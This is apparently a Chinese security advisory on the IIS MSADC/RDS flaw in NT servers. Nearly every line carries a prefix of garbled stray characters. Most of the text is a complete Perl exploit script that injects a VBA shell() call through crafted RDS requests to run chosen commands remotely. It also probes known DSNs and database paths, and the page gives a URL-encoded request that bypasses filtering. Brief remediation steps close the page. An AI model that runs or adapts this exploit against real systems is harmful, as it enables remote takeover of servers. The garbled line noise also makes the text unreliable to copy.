IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
`{U%[$<[W pzq; vMr 涉及程序：
3z )"U Microsoft NT server
LxlbD#<V 7~"(+f 描述：
qC1U&b#MVx 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
H 5rPq_R tB7K&ssi 详细：
n2d8;B# 如果你没有时间读详细内容的话，就删除:
N3 g NOq& c:\Program Files\Common Files\System\Msadc\msadcs.dll
/Y[o=Uyl 有关的安全问题就没有了。
-nk#d%a\ d)0LVa( 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
(+ UmUx= Z P6x 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
'Z.OF5|eGT 关于利用ODBC远程漏洞的描述，请参看:
a, ~D+s;^ sr+gD* @h http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm #_?TIY:h
dGsS<@G 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
3G%wZ,)C http://www.microsoft.com/security/bulletins/MS99-025faq.asp |'c4er/;# V+O0k: o 这里不再论述。
G7Z vfLR{: =0h|yjnL/ 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
0aC 2 Pym^ Y:%m;b$] /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
drENkS=, 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
@1v 3-n= -4e) N*VVu N&fW9s} #将下面这段保存为txt文件，然后: "perl -x 文件名"
*O+R|Cdp/ f4'El2>-86 #!perl
v`S2M #
T+;H#& # MSADC/RDS 'usage' (aka exploit) script
K[uY+!'1 #
ZU-4})7uSB # by rain.forest.puppy
3J'73 )y #
hIVI \U, # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
3cOY0Z#T # beta test and find errors!
jVad)2D E+}GxFG-: use Socket; use Getopt::Std;
;GE26Ymqly getopts("e:vd:h:XR", \%args);
&@YFje6Lcm n .f4z< print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
B;z;vrrL @sw9A93A if (!defined $args{h} && !defined $args{R}) {
Y ^R?Q' print qq~
|P~O15V*Q Usage: msadc.pl -h <host> { -d <delay> -X -v }
GS
; HtUQ -h <host> = host you want to scan (ip or domain)
$A;7Em -d <seconds> = delay between calls, default 1 second
3s` V)aXP -X = dump Index Server path table, if available
=Kc|C~g -v = verbose
EqD^/(,L2 -e = external dictionary file for step 5
j?:`-\w5 4l lD6&% Or a -R will resume a command session
J?UA:u *A?8F"6> ~; exit;}
JFkN=YR8 WI1T?.Gc $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
(9mbF%b if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
{I0w`xe if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
:`0'GM" ` if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
l`@0zw+ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
oL<BLr9> if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
lSH ZV
Fd XkPv*%Er8 if (!defined $args{R}){ $ret = &has_msadc;
vv+TKO die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
F:M> z= 6xH;: B)d print "Please type the NT commandline you want to run (cmd /c assumed):\n"
X=v~^8M7% . "cmd /c ";
5 >k>L*5J $in=<STDIN>; chomp $in;
wgY6D!Y $command="cmd /c " . $in ;
9p <:=T [34zh="o if (defined $args{R}) {&load; exit;}
1ZT^)/ G Wrmgu}q print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
3A-*vaySV &try_btcustmr;
>M?H79fF2s !|:RcH[ print "\nStep 2: Trying to make our own DSN...";
$hh+0hs &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
8h2D+1,PZC OmB
TA=E< print "\nStep 3: Trying known DSNs...";
!*& 4< _ &known_dsn;
Z6
;Wd_ bqSM DK print "\nStep 4: Trying known .mdbs...";
JX H",""bq &known_mdb;
glv ;C/l }@d>, 1DU if (defined $args{e}){
pe|X@o print "\nStep 5: Trying dictionary of DSN names...";
'gCJ[ ce &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
l+%Fl=Q2em 4~!Eje! print "Sorry Charley...maybe next time?\n";
>Q;
g0\I_ exit;
O?CdAnhQc` :^ n*V6.4 ##############################################################################
YWEYHr;%^? lM>.@: sub sendraw { # ripped and modded from whisker
:-z&Y492 sleep($delay); # it's a DoS on the server! At least on mine...
rwy+~ my ($pstr)=@_;
H4t)+(:D ' socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
/ vHYM S die("Socket problems\n");
d$pYo)8o({ if(connect(S,pack "SnA4x8",2,80,$target)){
dUIqD l select(S); $|=1;
8qn 9| print $pstr; my @in=<S>;
xcst<= select(STDOUT); close(S);
Us'Cs+5XcG return @in;
KyT uF } else { die("Can't connect...\n"); }}
iHPUmTus-- wfE^Sb3 ##############################################################################
~p:?QB>1]
6
jmrD sub make_header { # make the HTTP request
yq?]V7~ my $msadc=<<EOT
{@3z\wMK$ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
I?B,sl_w User-Agent: ACTIVEDATA
<Z},A-\S* Host: $ip
zX98c Content-Length: $clen
wTxbDT@ H5 Connection: Keep-Alive
d PsLZ"I }MP>]8Aq ADCClientVersion:01.06
]Ko^G_Rm
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
_BbvhWN&+ n +2%tW --!ADM!ROX!YOUR!WORLD!
vDsF-u1 Content-Type: application/x-varg
K4:
$= Content-Length: $reqlen
P1MvtI4gm =~&VdPZ EOT
)>V?+L5M ; $msadc=~s/\n/\r\n/g;
; +a2\j+ return $msadc;}
U9
#w = -w;z x ##############################################################################
"tU wo(K[ h Uh+JW sub make_req { # make the RDS request
UbO4%YHt my ($switch, $p1, $p2)=@_;
5Tedo~v my $req=""; my $t1, $t2, $query, $dsn;
vwmBUix ++b$E&lYU if ($switch==1){ # this is the btcustmr.mdb query
|#k@U6`SG $query="Select * from Customers where City=" . make_shell();
h$> wv` $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
PQ$sOK|/ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
Nar>FR7ut nq1
'F elsif ($switch==2){ # this is general make table query
7tRi"\[5 $query="create table AZZ (B int, C varchar(10))";
2VA!& `I $dsn="$p1";}
[KSH~:h:NR sef]>q elsif ($switch==3){ # this is general exploit table query
/N6}*0Ru $query="select * from AZZ where C=" . make_shell();
J? .F\`N) $dsn="$p1";}
Zyu/|O g (!3;X"l elsif ($switch==4){ # attempt to hork file info from index server
Hkege5{ $query="select path from scope()";
-}P7$|O & $dsn="Provider=MSIDXS;";}
]W/>L dv 3@_Elu elsif ($switch==5){ # bad query
zyFUl% $query="select";
Rb EKP(uw $dsn="$p1";}
\9/RAY_G YHB9mZi $t1= make_unicode($query);
1'JD = $t2= make_unicode($dsn);
0OnV0 SIL $req = "\x02\x00\x03\x00";
E8ta |D $req.= "\x08\x00" . pack ("S1", length($t1));
nn +_TMu $req.= "\x00\x00" . $t1 ;
zU&L.+
$req.= "\x08\x00" . pack ("S1", length($t2));
{e"dm5 $req.= "\x00\x00" . $t2 ;
(5a1P;_Y $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
.t = return $req;}
; b*i3*!g 0J 9D"3T) ##############################################################################
\vRd} ]A^4}CK^< sub make_shell { # this makes the shell() statement
"hQgLG return "'|shell(\"$command\")|'";}
#$E)b:xj T]9m:z X9s ##############################################################################
((bTwx [ c~kF+8 sub make_unicode { # quick little function to convert to unicode
uOd& XW my ($in)=@_; my $out;
9AQxNbs for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
=n+ \\D return $out;}
eTbg7"waA A%X X5* ##############################################################################
rS7)6h7(7 F9a^ED0l\ sub rdo_success { # checks for RDO return success (this is kludge)
r^1+cwy/7P my (@in) = @_; my $base=content_start(@in);
X!>eiYK) if($in[$base]=~/multipart\/mixed/){
r@kP* return 1 if( $in[$base+10]=~/^\x09\x00/ );}
|ZiC`Nt return 0;}
'V
(,.' `\CVV*hP ##############################################################################
SwW['c'*]B jQ+sn/ROp sub make_dsn { # this makes a DSN for us
fQdK]rLj my @drives=("c","d","e","f");
4<gb36)|4 print "\nMaking DSN: ";
Mxl]"?z foreach $drive (@drives) {
=r 9r~SR# print "$drive: ";
5T?-zF MM my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
Kr-G {b_Pp "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
WQ6"0*er . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
! )pdamdA $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
O9"/
kmB return 0 if $2 eq "404"; # not found/doesn't exist
U z
dc if($2 eq "200") {
aG%, cQ 1 foreach $line (@results) {
f-SuM% S_ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
JSr$-C
fH } return 0;}
]uQqn]+I! mJ}opy!{; ##############################################################################
= 1.9/hW u0Nm.--;_3 sub verify_exists {
T'H::^9:E my ($page)=@_;
n, i'Dhzk my @results=sendraw("GET $page HTTP/1.0\n\n");
N?P%-/7 return $results[0];}
8}s.Fg@tE om h{0jA0 ##############################################################################
7U|mu~$.! 0#cy=*E sub try_btcustmr {
,yd= e}lQx my @drives=("c","d","e","f");
/ JkC+7H4 my @dirs=("winnt","winnt35","winnt351","win","windows");
qIMA6u/ De&6 9 foreach $dir (@dirs) {
O1'm@
q) print "$dir -> "; # fun status so you can see progress
2lVHZ\G foreach $drive (@drives) {
36.N>G, print "$drive: "; # ditto
JW.=T ) $reqlen=length( make_req(1,$drive,$dir) ) - 28;
9f+>ix,ek* $reqlenlen=length( "$reqlen" );
RsJ6OFcWV $clen= 206 + $reqlenlen + $reqlen;
'T<iH V& }Gyqq6Aeb my @results=sendraw(make_header() . make_req(1,$drive,$dir));
Bun> <Y
@ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
5L,}e <S$ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
sarq`%zrk Xx:F)A8 O ##############################################################################
\</b4iR)LT -Go 7" j sub odbc_error {
:Bu2,EL*O my (@in)=@_; my $base;
L|@y&di my $base = content_start(@in);
<F I-zc a if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
ma'FRt $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
!V 2/A1? $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
MY#
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
B= 8Iu5m return $in[$base+4].$in[$base+5].$in[$base+6];}
GVHV =E print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
^z6_ Uw[ print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
j h2t9SI~ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
4;`oUt'. V'*~L\;pU ##############################################################################
_WX tB# l>*"mh sub verbose {
jO*l3:!~ \ my ($in)=@_;
UhA"nt0 return if !$verbose;
:+Om]#`Vls print STDOUT "\n$in\n";}
:0 & X^]\ `K~AhlJUQ ##############################################################################
2_vbT!_ B 33 $pUk sub save {
h\v'9 my ($p1, $p2, $p3, $p4)=@_;
,to+oSZE open(OUT, ">rds.save") || print "Problem saving parameters...\n";
,1OyN]f3 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
c:Wze*vI ; close OUT;}
om?-WJI g<{xC_J ##############################################################################
)q7UxzE+ $`R6= \| sub load {
<1%f@}+8 my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
PxH72hBS open(IN,"<rds.save") || die("Couldn't open rds.save\n");
D?XM,l + @p=<IN>; close(IN);
J Ro?s~Ih $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
FFdB tB $target= inet_aton($ip) || die("inet_aton problems");
b4^`DHRu6 print "Resuming to $ip ...";
;q N+^;,2 $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
E|' h]NY if($p[1]==1) {
M@0;B30L $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
@2' Mt}R> $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
2 {|h8oz my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
7i&:DePM'q if (rdo_success(@results)){print "Success!\n";}
T^J >ZDA else { print "failed\n"; verbose(odbc_error(@results));}}
0 d8%T<=J elsif ($p[1]==3){
"HE^v_p if(run_query("$p[3]")){
\+aC"#+0 print "Success!\n";} else { print "failed\n"; }}
_ uc
hU= elsif ($p[1]==4){
V3 ~~ if(run_query($drvst . "$p[3]")){
.{y
uo{u print "Success!\n"; } else { print "failed\n"; }}
]?*I9 exit;}
B,,D7cQC " )=X4]D ##############################################################################
P#=`2a#G RV@*c4KvO+ sub create_table {
lz1 wO5%h my ($in)=@_;
M1KqY: 9E $reqlen=length( make_req(2,$in,"") ) - 28;
-D6exTxh" $reqlenlen=length( "$reqlen" );
ZXm/A0 )S $clen= 206 + $reqlenlen + $reqlen;
4:g R r
my @results=sendraw(make_header() . make_req(2,$in,""));
0}_[DAd6 return 1 if rdo_success(@results);
giz7{Ai my $temp= odbc_error(@results); verbose($temp);
qucq,Yw return 1 if $temp=~/Table 'AZZ' already exists/;
[l ,Ei? return 0;}
ai0XL}!+ &x3VCsC\| ##############################################################################
c y8;@ [#9 lRXK\xIP , sub known_dsn {
8By|@LO # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
eq U ME my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
h: 9Zt0, "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
_%QhOY5tv" "banner", "banners", "ads", "ADCDemo", "ADCTest");
6F e34n]m }iuWAFZbGS foreach $dSn (@dsns) {
j_Yp>=+[ print ".";
BCA&mi 3q next if (!is_access("DSN=$dSn"));
fka c_X$7 if(create_table("DSN=$dSn")){
R?]02Q print "$dSn successful\n";
`]%|f if(run_query("DSN=$dSn")){
i>(e}<i print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
wiiCd print "Something's borked. Use verbose next time\n";}}} print "\n";}
eH{[C* 8YbE `32 ##############################################################################
yj\Nkh c"[cNZo sub is_access {
%$b:X5$Z my ($in)=@_;
z*-2.}&U< $reqlen=length( make_req(5,$in,"") ) - 28;
A{A\RSZ0 $reqlenlen=length( "$reqlen" );
<_7*67{ $clen= 206 + $reqlenlen + $reqlen;
P'_H/r/# my @results=sendraw(make_header() . make_req(5,$in,""));
0\e IQp my $temp= odbc_error(@results);
AJ=qn a verbose($temp); return 1 if ($temp=~/Microsoft Access/);
?"g! return 0;}
+llR204 t2)rUWg ##############################################################################
5 k.oW= P?k0zwOlBl sub run_query {
`^)jLuyu
my ($in)=@_;
' ET~ $reqlen=length( make_req(3,$in,"") ) - 28;
: 2ED jW $reqlenlen=length( "$reqlen" );
4M2j! Sw $clen= 206 + $reqlenlen + $reqlen;
*6 >.!& my @results=sendraw(make_header() . make_req(3,$in,""));
>G%o,9i return 1 if rdo_success(@results);
76`8=!]R my $temp= odbc_error(@results); verbose($temp);
Q637N| 01 return 0;}
`G}TG( (= om,g} ##############################################################################
ma Nl^i 3eF -8Z(f sub known_mdb {
r [*Vqcz my @drives=("c","d","e","f","g");
<_-hR bS my @dirs=("winnt","winnt35","winnt351","win","windows");
~Yy>zUH^X my $dir, $drive, $mdb;
Rd#WMo2Xd my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
ojan Bg
rogT~G}q # this is sparse, because I don't know of many
Rx }$0c0 my @sysmdbs=( "\\catroot\\icatalog.mdb",
o6uJyCO "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
~GZY 5HF "\\system32\\certmdb.mdb",
Hhcpp7cr' "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
rp ;b" q } F#okU my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
i uF*.hc,% "\\cfusion\\cfapps\\forums\\forums_.mdb",
Ih VO@KJI "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
y#3j`. $3p "\\cfusion\\cfapps\\security\\realm_.mdb",
?k(7 LX0j "\\cfusion\\cfapps\\security\\data\\realm.mdb",
`)_dS&_\ "\\cfusion\\database\\cfexamples.mdb",
r2,.abo "\\cfusion\\database\\cfsnippets.mdb",
N(F p0 "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
73/P& hT "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
*Qg _ F6y "\\cfusion\\brighttiger\\database\\cleam.mdb",
>LOjV 0K/
"\\cfusion\\database\\smpolicy.mdb",
f}9zgWU "\\cfusion\\database\cypress.mdb",
)mF5Vw" "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
@}}$zv6l, "\\website\\cgi-win\\dbsample.mdb",
;6>2"{NW "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
]7 Tkkw $ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
~Vr. J}]J ); #these are just
)p<ExMIxd foreach $drive (@drives) {
~?K ~L~f5 foreach $dir (@dirs){
0.8 2kl foreach $mdb (@sysmdbs) {
}&w Ur>= print ".";
^c9t'V`IWQ if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
CEX " D` print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
+JjW_Rl?=V if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
n[lJLm^(_C print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
^\4h<M } else { print "Something's borked. Use verbose next time\n"; }}}}}
{y=j?lD K/IWH[ foreach $drive (@drives) {
w k 5s)%V foreach $mdb (@mdbs) {
Ab{ K<:l print ".";
W04 @!_) < if(create_table($drv . $drive . $dir . $mdb)){
ahJ`$U4n print "\n" . $drive . $dir . $mdb . " successful\n";
{xXsBh
Y if(run_query($drv . $drive . $dir . $mdb)){
{>hC~L?6 print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
W3MJr& p } else { print "Something's borked. Use verbose next time\n"; }}}}
xMT Kf+7 }
> 7jbgHB r]:(Vk]| F ##############################################################################
{zQ8)$CQ ChGYTn`X sub hork_idx {
|}= acc/ print "\nAttempting to dump Index Server tables...\n";
_Xk.p_uh print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
-? V-*jI $reqlen=length( make_req(4,"","") ) - 28;
5C o $reqlenlen=length( "$reqlen" );
F8jd'OR $clen= 206 + $reqlenlen + $reqlen;
-p]1=@A<} my @results=sendraw2(make_header() . make_req(4,"",""));
$w2u3 - if (rdo_success(@results)){
|}B L F my $max=@results; my $c; my %d;
\Q0[?k for($c=19; $c<$max; $c++){
bDL,S?@ $results[$c]=~s/\x00//g;
|H;F7Y_ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
Qz5sxi $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
ZX9 T YN $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
pwL ;A3$| $d{"$1$2"}="";}
<
$J>9k foreach $c (keys %d){ print "$c\n"; }
49GkPy#]L= } else {print "Index server doesn't seem to be installed.\n"; }}
.F
"{@A5A ##############################################################################
RP[{4 Q8 le/,R@]B9 sub dsn_dict {
,(qRc (Ho open(IN, "<$args{e}") || die("Can't open external dictionary\n");
9g'Lk P while(<IN>){
?XrQ53 $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
BJ$9v bhZN next if (!is_access("DSN=$dSn"));
{< )1q ; if(create_table("DSN=$dSn")){
0D\#Pq
v print "$dSn successful\n";
[ 9 {*94M if(run_query("DSN=$dSn")){
I,>- t GK print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
e:fy#,HEj{ print "Something's borked. Use verbose next time\n";}}}
xS4w5i2 print "\n"; close(IN);}
8m2Tk\;: *|%@6I( ##############################################################################
=,spvy'"*C yu!h<nfzA sub sendraw2 { # ripped and modded from whisker
U gu[|, sleep($delay); # it's a DoS on the server! At least on mine...
l{I6&^!KS my ($pstr)=@_;
($au:'kU
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
x$5) ^ud? die("Socket problems\n");
Rdvk
ml@@ if(connect(S,pack "SnA4x8",2,80,$target)){
vQosPS_2L print "Connected. Getting data";
\?[ v{WP) open(OUT,">raw.out"); my @in;
5na~@-9p select(S); $|=1; print $pstr;
Uc7mOa}4 while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
S?1AFI9{ close(OUT); select(STDOUT); close(S); return @in;
^Cu\VV } else { die("Can't connect...\n"); }}
4|buk]9 >7lx=T
x ##############################################################################
60P#,o @G ` q}I"iS sub content_start { # this will take in the server headers
zM bN;t u my (@in)=@_; my $c;
i
UCXAWP for ($c=1;$c<500;$c++) {
D!{Y$; if($in[$c] =~/^\x0d\x0a/){
"& ])lz[u if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
~
{E'@MU else { return $c+1; }}}
wvO|UP H\ return -1;} # it should never get here actually
ML w7 }[ 0
HGM4[)= ##############################################################################
R.jIl@p b LlKe50 sub funky {
G_;)a]v8) my (@in)=@_; my $error=odbc_error(@in);
HePUWL' if($error=~/ADO could not find the specified provider/){
> 80;8\ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
HW3 }uP\c exit;}
B~ ]k#Ot) if($error=~/A Handler is required/){
Aydm2!l1 print "\nServer has custom handler filters (they most likely are patched)\n";
xSktg]u Se exit;}
m+`fn;* if($error=~/specified Handler has denied Access/){
w~(1%p/ print "\nServer has custom handler filters (they most likely are patched)\n";
]op}y0 exit;}}
7mI:| G D^yRaP*|7 ##############################################################################
=5J7Hw&K nygbt<;? sub has_msadc {
K&vF0*gN3 my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
R<\F:9 my $base=content_start(@results);
RN$ 1bxY return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
/ 1"(cQ%? return 0;}
x'+ T/zw |jI# "LbF ########################
3LAIl913 o< |c A5f\ _,p/l&< 解决方案：
Huy5-[) 15 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
}SX,^|eN 2、移除web 目录: /msadc
